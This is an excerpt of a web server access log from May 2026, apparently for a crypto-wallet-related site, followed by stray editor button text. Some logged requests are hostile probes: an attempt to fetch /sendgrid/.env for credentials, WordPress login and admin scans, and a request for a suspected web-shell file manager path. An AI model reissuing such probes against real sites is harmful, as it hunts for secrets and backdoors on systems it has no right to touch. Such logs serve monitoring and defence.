Safari/604.1" 134.209.23.205 - - [02/May/2026:10:51:58 +0300] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 66.132.224.235 - - [02/May/2026:12:21:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 134.209.23.205 - - [02/May/2026:10:51:57 +0300] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 88.151.33.51 - - [02/May/2026:12:01:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0" 175.178.8.146 - - [02/May/2026:10:15:42 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 3.215.185.183 - - [02/May/2026:10:11:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 134.209.23.205 - - [02/May/2026:10:51:57 +0300] "GET /sendgrid/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 115.45.40.223 - - [02/May/2026:11:56:42 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.2751.79 Safari/537.36 Edge/18.18362" 43.154.140.188 - - [02/May/2026:13:14:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 31.148.207.153 - - [02/May/2026:13:29:36 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 103.60.12.47 - - [02/May/2026:14:54:00 +0300] "GET /login/ HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/118.0.2" 174.138.7.120 - - [02/May/2026:14:17:03 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://mail.eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 103.60.12.47 - - [02/May/2026:14:53:46 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.2151.97" 103.60.12.47 - - [02/May/2026:14:53:46 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15" 174.138.7.120 - - [02/May/2026:14:17:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 40.81.193.238 - - [02/May/2026:15:36:36 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 172.190.142.176 - - [02/May/2026:16:30:27 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 170.106.192.208 - - [02/May/2026:18:05:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.106.113.159 - - [02/May/2026:17:17:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 80.241.216.17 - - [02/May/2026:17:58:59 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 192.36.109.73 - - [02/May/2026:20:15:13 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3" 192.36.109.120 - - [02/May/2026:20:15:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3" 129.226.213.145 - - [02/May/2026:23:29:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 120.55.240.71 - - [02/May/2026:22:45:08 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 159.223.146.47 - - [02/May/2026:22:14:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 107.189.10.248 - - [02/May/2026:21:18:11 +0300] "POST ///wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" 175.27.163.171 - - [02/May/2026:22:18:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 107.189.10.248 - - [02/May/2026:21:16:47 +0300] "GET ///wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" 51.68.236.92 - - [02/May/2026:22:09:54 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.236.92 - - [02/May/2026:22:09:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 159.223.146.47 - - [02/May/2026:22:14:09 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 184.107.179.141 - - [02/May/2026:23:47:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0" 203.95.198.144 - - [02/May/2026:20:44:24 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
💾 Save Changes
❌ Cancel